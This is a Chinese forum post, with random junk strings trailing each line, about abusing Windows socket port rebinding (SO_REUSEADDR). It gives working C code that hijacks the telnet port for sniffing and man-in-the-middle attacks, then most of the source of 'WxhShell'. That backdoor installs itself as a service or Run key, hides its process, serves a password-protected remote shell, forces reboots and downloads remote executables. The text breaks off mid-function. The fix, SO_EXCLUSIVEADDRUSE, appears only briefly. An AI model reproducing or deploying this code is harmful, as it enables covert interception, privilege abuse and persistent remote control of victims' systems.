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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .4S^nP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .u&&H_ UmE  
?$"x^=te7  
  saddr.sin_family = AF_INET; T..N*6<X  
<Um1h:^   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fP^W"y  
,wwU` U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ..P=D <'f  
Zd[y+$>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +z]:CF  
aJuj7y-  
  这意味着什么?意味着可以进行如下的攻击: <3SFP3^:  
nZ2mEt  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >:Rt>po8|w  
htUy2v#V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SeRK7Q&_  
,_"7|z wb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~6@c]:  
D-TNFYYy2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1=9qAp;?o  
r+{!@`dYi  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E"9/YWv  
B#qL$M,|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [M7iJcwt  
^D ]7pe  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9[t]]  
({d,oU$>y  
  #include d vg;  
  #include x*loACee.  
  #include GsP@ B'  
  #include    OBKC$e6I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;X*K*q  
  int main() zumR(<l  
  { 3X-{2R/ 3  
  WORD wVersionRequested; %KabyvOl)  
  DWORD ret; g[=\KrTSg  
  WSADATA wsaData; 7`uA  
  BOOL val; X <ba|(  
  SOCKADDR_IN saddr; `'G),{ j  
  SOCKADDR_IN scaddr; $4$?M[  
  int err; h8iaJqqvJ  
  SOCKET s; ~,1-$#R  
  SOCKET sc; c"f-$^<  
  int caddsize; 7(A G]  
  HANDLE mt; I&'S2=s  
  DWORD tid;   KV^:sxU  
  wVersionRequested = MAKEWORD( 2, 2 ); ^-e3=&  
  err = WSAStartup( wVersionRequested, &wsaData ); nK?k<  
  if ( err != 0 ) { DU*g~{8T$  
  printf("error!WSAStartup failed!\n"); .v #0cQX+.  
  return -1; F?RCaj  
  } YobC'c\~9  
  saddr.sin_family = AF_INET; uNPD~TYN  
   $+!}Vtb  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n3HCd- z  
*hk{q/*Qw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k2_6<v Z  
  saddr.sin_port = htons(23); ;9!yh\\   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |h^G$guw  
  { vjs|!O=oH  
  printf("error!socket failed!\n"); wa(Wit"-  
  return -1; ySr091Q  
  } m 1'&{O:  
  val = TRUE; m &3HFf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5fvUv"m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C$2o o@  
  { Q?Bj q>  
  printf("error!setsockopt failed!\n"); _Ssv:x c,  
  return -1; %b-;Rn  
  } Fu1|b2B-x  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; XqE55Jclp  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lk+=2 6>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Yn[EI7D  
[kp7LA"`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %CsTB0Y7n,  
  { AT8B!m   
  ret=GetLastError(); Q8gdI  
  printf("error!bind failed!\n"); JX2 |  
  return -1; 9|G=KN)P:  
  } "b1R5(Ar  
  listen(s,2); %T,\xZ  
  while(1) %`s9yRk9>E  
  { 9sO{1rF  
  caddsize = sizeof(scaddr); pxCGE[@`  
  //接受连接请求 I).^,%>Z)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wEo-a< (  
  if(sc!=INVALID_SOCKET) )K\k6HC.  
  { 6&OonYsP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +NzD/.gq  
  if(mt==NULL) My6]k?;}(  
  { x%:> Ol  
  printf("Thread Creat Failed!\n"); !cFE^VM_;  
  break; 0o"<^] _|  
  } @WDqP/4  
  } vU \w3  
  CloseHandle(mt); AP?{N:+  
  } e u=f-HW]  
  closesocket(s); 0\_R|i_`>  
  WSACleanup(); ]Gd]KP@S  
  return 0; `aX}.{.!  
  }   UQji7K }  
  DWORD WINAPI ClientThread(LPVOID lpParam) !g8.8(/t)  
  { d'g{K]=tF  
  SOCKET ss = (SOCKET)lpParam; *{;A\sL  
  SOCKET sc; @h7GTA \  
  unsigned char buf[4096]; b]s1Q ]V  
  SOCKADDR_IN saddr; `X.=uG+m  
  long num; _>?8eC]4a  
  DWORD val; `>Kk;`  
  DWORD ret; "` ?W u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 rfZj8R&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z#cU#)`y1  
  saddr.sin_family = AF_INET; 7"CH\*%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \ \mO+N47i  
  saddr.sin_port = htons(23); \'^Z_6{w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R=Ly49  
  { n nnA,  
  printf("error!socket failed!\n"); iqv\ag  
  return -1; HU'`kimWb  
  } [%)B%h`XGf  
  val = 100; KbuGf$Bv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7N~qg 7&  
  { #35S7G^@`  
  ret = GetLastError(); )S;Xy`vO  
  return -1; `w+9j-  
  } q@RY.&mgW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O,xAu}6f+  
  { rbJ)RN^.  
  ret = GetLastError(); 5@&i:vs5y  
  return -1; &<#BsFz  
  } Kn9=a-b?,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :#&U95EC0  
  { T=p}By3a  
  printf("error!socket connect failed!\n"); ?=@Q12R)X  
  closesocket(sc); H R!>g  
  closesocket(ss); j>Bk; f|  
  return -1; Y ,pS/  
  } Mb/6>  
  while(1) , LPFb6o  
  { PK`(qK9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Xde=}9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 HI?~t| [y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JpHsQ8<  
  num = recv(ss,buf,4096,0); j BQqpFH9  
  if(num>0) /qQ2@k  
  send(sc,buf,num,0); ]#7Y @Yo  
  else if(num==0) MPEBinE?  
  break; Nxs%~ wZ   
  num = recv(sc,buf,4096,0); Xi`U`7?D(=  
  if(num>0) [@FeRIu8  
  send(ss,buf,num,0); 1oW]O@R  
  else if(num==0) Vqp.jF1|  
  break; d<cbp [3F  
  } Exs _LN  
  closesocket(ss); [\M?8R$)  
  closesocket(sc); ! {o+B^^  
  return 0 ; h}:5hi Jw  
  } {R8P $  
jeuNTDjeL  
ZwrYs s  
========================================================== u(G;57ms  
(lck6v?h  
下边附上一个代码,,WXhSHELL #1!BD!u  
,HO/Q6;N  
========================================================== 0v)mgrl=,  
?bYQZJ>&  
#include "stdafx.h" m=l3O:~J  
tlxjs]{0E  
#include <stdio.h> kd4*Zab  
#include <string.h> +n~rM'^4/  
#include <windows.h> Q c< O; #  
#include <winsock2.h> Pg8=  
#include <winsvc.h> iU+,Jeu  
#include <urlmon.h> -Aym+N9  
8JO\%DFJ  
#pragma comment (lib, "Ws2_32.lib") 2uR4~XjF  
#pragma comment (lib, "urlmon.lib") sL`D}_:  
<.B > LU  
#define MAX_USER   100 // 最大客户端连接数 mt]YY<l  
#define BUF_SOCK   200 // sock buffer wU3ica&[   
#define KEY_BUFF   255 // 输入 buffer kX .1#%Ex  
b6$A@b  
#define REBOOT     0   // 重启 $mg h.3z0  
#define SHUTDOWN   1   // 关机 m3!MHe~t  
TV>R(D3T/  
#define DEF_PORT   5000 // 监听端口 jJQfCOD$  
p~;z"Z  
#define REG_LEN     16   // 注册表键长度 Uo)<_nG  
#define SVC_LEN     80   // NT服务名长度 ~map5@Kd  
nPX'E`ut-V  
// 从dll定义API [&k k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EBE>&{%$^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <@ex})su  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LzSusjEW@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b020U>)v  
$zA[5}{ZtQ  
// wxhshell配置信息 q'-l; V|  
struct WSCFG { GIl{wd  
  int ws_port;         // 监听端口 f! Nc+  
  char ws_passstr[REG_LEN]; // 口令 ZrT|~$*m`  
  int ws_autoins;       // 安装标记, 1=yes 0=no <;Z~ vZ]  
  char ws_regname[REG_LEN]; // 注册表键名 -ns a3P  
  char ws_svcname[REG_LEN]; // 服务名 U~@B%Msb L  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fm~}A4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mNB ]e5 ;N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JM9Q]#'t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -@?>nLQb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bN %MT#X  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {YLJKu!M  
 p.Yg-CA  
}; U1tPw`0h  
f5XcBW9E  
// default Wxhshell configuration {$=%5  
struct WSCFG wscfg={DEF_PORT, BqAwo  
    "xuhuanlingzhe", nE.s  
    1, bGnJ4R3J  
    "Wxhshell", g {wPw  
    "Wxhshell", j`M<M[C*4N  
            "WxhShell Service", BnY|t2r  
    "Wrsky Windows CmdShell Service", QN5N h s  
    "Please Input Your Password: ", c`=h K*  
  1, 3/<^R}w\  
  "http://www.wrsky.com/wxhshell.exe", J-?(sjIX  
  "Wxhshell.exe" ?^GsR[-x  
    }; -+Ji~;b  
A+ *(Pds  
// 消息定义模块 GB Un" _J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rxA)&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NGGd6V%'-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !Bbwl-e`  
char *msg_ws_ext="\n\rExit."; :iiTz$yk  
char *msg_ws_end="\n\rQuit."; bvvx(?!  
char *msg_ws_boot="\n\rReboot..."; p tfADG  
char *msg_ws_poff="\n\rShutdown..."; S(s~4(o>8  
char *msg_ws_down="\n\rSave to "; Z'M@DY/fdK  
O@&I.d$  
char *msg_ws_err="\n\rErr!"; tELnq#<6  
char *msg_ws_ok="\n\rOK!"; U.jMK{  
I4ct``Di  
char ExeFile[MAX_PATH]; <xz-7EqbwX  
int nUser = 0; P?ol]MwaB  
HANDLE handles[MAX_USER]; z1A-EeT  
int OsIsNt; v xZUtyJfe  
m5g: Q  
SERVICE_STATUS       serviceStatus; 5WG@ ;K%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 780MSFV8  
^?`,f>`M  
// 函数声明 hzVO.Q*  
int Install(void); } /FM#Xh  
int Uninstall(void); ur5n{0#  
int DownloadFile(char *sURL, SOCKET wsh); RtEkd_2  
int Boot(int flag); l'R`XGT  
void HideProc(void); N=x,96CF  
int GetOsVer(void); \wd`6  
int Wxhshell(SOCKET wsl); `N,Jiw;bw  
void TalkWithClient(void *cs); ~<R~Q:T  
int CmdShell(SOCKET sock); YR#1[fe*_  
int StartFromService(void); 0M.[) @  
int StartWxhshell(LPSTR lpCmdLine); ZS;kCdL   
8\_,Y ji  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +g30frg+Gl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %uMsXa  
wpmtv325  
// 数据结构和表定义 J(L$pIM  
SERVICE_TABLE_ENTRY DispatchTable[] = yU`IyaazZ  
{ 3P>@ :  
{wscfg.ws_svcname, NTServiceMain}, Dn! V)T  
{NULL, NULL} Fm{y.URo  
}; Etk<`GRfA  
pswppC6f  
// 自我安装 w| # 79,&  
int Install(void) 9 f+7vCA  
{ S)h1e%f, f  
  char svExeFile[MAX_PATH]; ?os0JQVB  
  HKEY key; EaL+}/q&  
  strcpy(svExeFile,ExeFile); 1Qkuxw  
3g?T,| 2K  
// 如果是win9x系统,修改注册表设为自启动 Q5ao2-\   
if(!OsIsNt) { 4 .qjTR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VW/1[?HG5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >X,6  
  RegCloseKey(key); IHfqW?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { % M:"Ai5:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JJO"\^,;~  
  RegCloseKey(key); nV1, ):kh  
  return 0; {QJ`.6Kt  
    } %J'_c|EQM  
  } 3e:y?hpeL  
} -z94>}Z=  
else { O%{>Zo_<  
],m-,K  
// 如果是NT以上系统,安装为系统服务 }zi6F.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~yg9ZM  
if (schSCManager!=0)  _^ZII  
{ %*hBrjbj  
  SC_HANDLE schService = CreateService B dUyI_Ks:  
  ( .d,Zx  
  schSCManager, >n62csO  
  wscfg.ws_svcname, p`0Tpgi  
  wscfg.ws_svcdisp, g'@+#NMw  
  SERVICE_ALL_ACCESS, Pd?YS!+S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =X):Zi   
  SERVICE_AUTO_START, %0'f`P6  
  SERVICE_ERROR_NORMAL, AmFHn  
  svExeFile, +ZO*~.zZ  
  NULL, I-I5^s  
  NULL, ;!b(b%  
  NULL, U/X ^  
  NULL, s,8%;\!C  
  NULL Q=E6ZxH5;  
  ); ] a()siT  
  if (schService!=0) rCYn YA  
  { hR2.w/2j  
  CloseServiceHandle(schService); G})mw  
  CloseServiceHandle(schSCManager); XafyI*pOX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oj,  
  strcat(svExeFile,wscfg.ws_svcname); $6[]c)(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X;0@41t'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jTJ[2WaS  
  RegCloseKey(key); :4dili4|/  
  return 0; oc3/ IWII  
    } LGkKR{ep(  
  } 'aJ?Syn  
  CloseServiceHandle(schSCManager); Z'~FZRF  
} t<=L&:<N  
} I&9B^fF6  
1['A1 ,  
return 1; sQ$FtKm6  
} :1I,:L  
{z7{ta  
// 自我卸载 6>Fw,$  
int Uninstall(void) Y;WrfO$J  
{ -K{ID$!p  
  HKEY key; 0ni5:tYy  
R_&>iu'[  
if(!OsIsNt) { >=(e}~5y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +oa]v1/W  
  RegDeleteValue(key,wscfg.ws_regname); &DV'%h>i=  
  RegCloseKey(key); 6r`g+Js/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,$Mw/fA  
  RegDeleteValue(key,wscfg.ws_regname); g|oPRC$I'  
  RegCloseKey(key); VI4d/2e  
  return 0; @QEV l  
  } s?G@ k}{  
} , /pE*Yk  
} bP[/  
else { gDrqs>8  
\]D;HR`vo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e-WaK0Ep  
if (schSCManager!=0) )8_0d)  
{ [ kknY+n1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ptg73Gm&R  
  if (schService!=0) K:0RP?L  
  { n.)-aRu[  
  if(DeleteService(schService)!=0) { #r C% \  
  CloseServiceHandle(schService); ?{n#j,v!  
  CloseServiceHandle(schSCManager); sC$X7h(Q+  
  return 0; q&.!*rPD  
  } xFJ>s-g*  
  CloseServiceHandle(schService); />?d 2?  
  } >Y:ouN~<  
  CloseServiceHandle(schSCManager); 8CL05:&  
} Ce:kMkJ  
} 7D,+1>5^Ne  
w?[)nlNW  
return 1; 1VeCAx[e  
} otOl7XF  
Ldu!uihx  
// 从指定url下载文件 e1#}/U  
int DownloadFile(char *sURL, SOCKET wsh) ] 3v  
{ KNn E5f  
  HRESULT hr; rtI4W  
char seps[]= "/"; (- uk[["3  
char *token; a36<S0R  
char *file; 9:Y\D.M  
char myURL[MAX_PATH]; 4-\a]"c  
char myFILE[MAX_PATH]; SOm~];[  
nD_g84us  
strcpy(myURL,sURL); Vo\d&}Q  
  token=strtok(myURL,seps); Gp14;  
  while(token!=NULL) LRs{nN.N  
  { HTC7fS  
    file=token; *?uF&( 0  
  token=strtok(NULL,seps); E,;nx^`!l  
  } V3-LVgM%  
a'|0e]  
GetCurrentDirectory(MAX_PATH,myFILE); k;)L-ge9  
strcat(myFILE, "\\"); \l:n  
strcat(myFILE, file); ,UP6.C14  
  send(wsh,myFILE,strlen(myFILE),0); R'{V&H^Z  
send(wsh,"...",3,0); UY==1\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @U&|38  
  if(hr==S_OK) ZE :oK   
return 0; Deam%)bXM]  
else b~|B(lL6Xm  
return 1; {kC]x2 U  
 j>6{PDaT  
} r"n)I$  
h'bxgIl'`  
// 系统电源模块 @/9> /?JP  
int Boot(int flag) 8E" .y$AW  
{ a; "+Py  
  HANDLE hToken; ScI9.{  
  TOKEN_PRIVILEGES tkp; W] lFwj  
qP"m819m  
  if(OsIsNt) { 1q*3V8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sU`#d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .VI2V-Q  
    tkp.PrivilegeCount = 1; Un<~P@T%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'HC4Q{b`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4fN<pG,  
if(flag==REBOOT) { jQc0_F\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?O_;{(F_  
  return 0; i^n&K:6  
} {{O1C ~  
else { y.>r>o"0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {U4%aoBd8  
  return 0; h7*m+/O  
} $ }&6p6|  
  } J sH9IK:  
  else { wk3yz6V2  
if(flag==REBOOT) { )qKfTt N`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n>@(gDq  
  return 0; ^v,^.>P  
} 0uZHH  
else { Di&tm1R1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2sXWeiJy;  
  return 0; Q{>{ e3z}  
} A5z`3T;1  
} Tx!mW-Lt  
>FY`xl\m}<  
return 1; 5r.{vQ  
} rc$G0O  
[1E u6X6  
// win9x进程隐藏模块 nJ6bC^*)U  
void HideProc(void) ub-ZrC'  
{ UCl,sn  
Q4UaqiL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O*30|[  
  if ( hKernel != NULL ) N~a?0x  
  { d9E:LZy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l{;vD=D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6@bO3K|  
    FreeLibrary(hKernel); gHTo|2 Q{  
  } v67o>`<$  
FzNs >*  
return; %=GnGgu  
} /N~.,vf  
c(@)V.o2  
// 获取操作系统版本 E$RH+):|  
int GetOsVer(void) xY@V.  
{ r;9F@/  
  OSVERSIONINFO winfo; h'wI/Z_'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %POoyH@D}  
  GetVersionEx(&winfo); t,&1~_9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x ;kW }U  
  return 1; O7E0{8  
  else /Wt<[g#  
  return 0; A_CK,S*\,&  
} Iz VtiX  
c$>Tfa'H  
// 客户端句柄模块 Z5+qb  
int Wxhshell(SOCKET wsl)  aj1Zi3h  
{ TJ+yBMd*%  
  SOCKET wsh; 3C5<MxtK  
  struct sockaddr_in client; edA.Va|0  
  DWORD myID; :dB6/@f W  
x%0Q W  
  while(nUser<MAX_USER) 40mgB4I  
{ zU]95I  
  int nSize=sizeof(client); $+-2/=>Xk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *;Sj&O  
  if(wsh==INVALID_SOCKET) return 1; b1_HDC(  
*_@8v?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _},u[+  
if(handles[nUser]==0) .h{`e>d  
  closesocket(wsh); B!6?+< J"  
else yyG:Kl  
  nUser++; G 9d@vu  
  } .%.J Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >/GVlXA'  
{ "=d7i  
  return 0; wU+-;C5e  
} -FdhV%5]  
]Z6==+mCP  
// 关闭 socket E{|j  
void CloseIt(SOCKET wsh) usX aT(K  
{ Y=\;$:L[  
closesocket(wsh); jgbE@IA@!'  
nUser--; cjp H hoW  
ExitThread(0); 3 l QGU  
} $fL2w^ @  
"/g/Lc  
// 客户端请求句柄 a|{RK}|3  
void TalkWithClient(void *cs) ^GHA,cSf  
{ F^z&s]^~  
,~>A>J  
  SOCKET wsh=(SOCKET)cs; CB\E@u,  
  char pwd[SVC_LEN]; n](Q)h'nlo  
  char cmd[KEY_BUFF]; "'~55bG  
char chr[1]; .gzNdSE  
int i,j; ZxLgV$U  
.3M=|rE   
  while (nUser < MAX_USER) { ]gx]7  
CM|?;PBuv  
if(wscfg.ws_passstr) { c/%i,N\5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dJ#mk5= "  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^1nQDd*  
  //ZeroMemory(pwd,KEY_BUFF); Kj.4Z+^  
      i=0; ET.c8K1f  
  while(i<SVC_LEN) { ?%(:  
XcD$xFDZ  
  // 设置超时 #|ETH;HM  
  fd_set FdRead; +a0q?$\  
  struct timeval TimeOut; 7&-B6Y4  
  FD_ZERO(&FdRead); G&y< lh  
  FD_SET(wsh,&FdRead); ;%{REa  
  TimeOut.tv_sec=8; `2.[8%6  
  TimeOut.tv_usec=0; krnxM7y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _vr> -:G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;Hk{bz(  
E>NRC\^@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #0GvL=}k  
  pwd=chr[0]; * `1W})  
  if(chr[0]==0xd || chr[0]==0xa) { /N>f#:}  
  pwd=0; o-H\vtOjE  
  break; INt]OPD  
  } +`'=K ;{U  
  i++; )\ow/XPE  
    } |L%}@e Vw_  
`v) :|Q  
  // 如果是非法用户,关闭 socket B~xT:r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); js^+{~  
} Ti:PKpc  
K8,Q^!5]"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .ww~'5b0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :|%k*z  
%zsY=qT  
while(1) { @A?Ss8p'  
tX)l_ ?jVH  
  ZeroMemory(cmd,KEY_BUFF); R+}7]tva6C  
N/CL?Z>c  
      // 自动支持客户端 telnet标准   ny'?Hl'Q  
  j=0; J'4Pp<  
  while(j<KEY_BUFF) { vM5yiHI(jb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KFZ2%:6>  
  cmd[j]=chr[0]; QmxI ;l  
  if(chr[0]==0xa || chr[0]==0xd) { ->_rSjnM{  
  cmd[j]=0; /zV&ebN]  
  break; ;=r_R!d@  
  } {^(h*zxn  
  j++; t`%Xxxu  
    } `-yo-59E[  
Fp=O:]  
  // 下载文件 !79eF)  
  if(strstr(cmd,"http://")) { -9)H [}.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :Q]P=-Y8  
  if(DownloadFile(cmd,wsh)) >x'R7z23  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l|{q8i#4V  
  else X3mHg5zt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); csK;GSp}  
  } Qze.1h  
  else { P-]u&m/6  
:yFUlO:  
    switch(cmd[0]) { -?%81 z.Qq  
  d0U-:S-  
  // 帮助 Tew?e&eO  
  case '?': { r8%"#<]/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WtS5i7:<Y  
    break; ;8Qx~:c  
  } |[./jg"  
  // 安装 \%BII>VS  
  case 'i': { }o,-@R~  
    if(Install()) \k 9EimT}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[\M|iAo  
    else rvEX ;8TS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j{&*]QTN  
    break; dQ#$(<v[  
    } j;TXZ`|(  
  // 卸载 {f1iys'Om  
  case 'r': { L*(Sh2=_  
    if(Uninstall()) H;w8[ImK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FHOF 6}if  
    else X iW~? *Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u7(<YSOs  
    break; -}x( MZ  
    } GUDz>(  
  // 显示 wxhshell 所在路径 ! mb<z^>5  
  case 'p': { 9u0<$UY%  
    char svExeFile[MAX_PATH]; Ie"eqO!  
    strcpy(svExeFile,"\n\r"); 6Cj$x.-K  
      strcat(svExeFile,ExeFile); nF1}?  
        send(wsh,svExeFile,strlen(svExeFile),0); W#Eg\nT  
    break; }t%2giJ   
    } 4"^v]&I  
  // 重启 }j`#s  
  case 'b': { jCp^CNbA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;M<R e  
    if(Boot(REBOOT)) 3sD/4 ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nVyV]'-z  
    else { >S}^0vNZX  
    closesocket(wsh); +d!"Zy2|B  
    ExitThread(0); `=%mU/v  
    } C.`!?CW  
    break; *N65B#  
    } 2I$-&c]  
  // 关机 O= 84ZP%  
  case 'd': { }Gf9.ACQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 89Ch'D  
    if(Boot(SHUTDOWN)) ioT+,li  
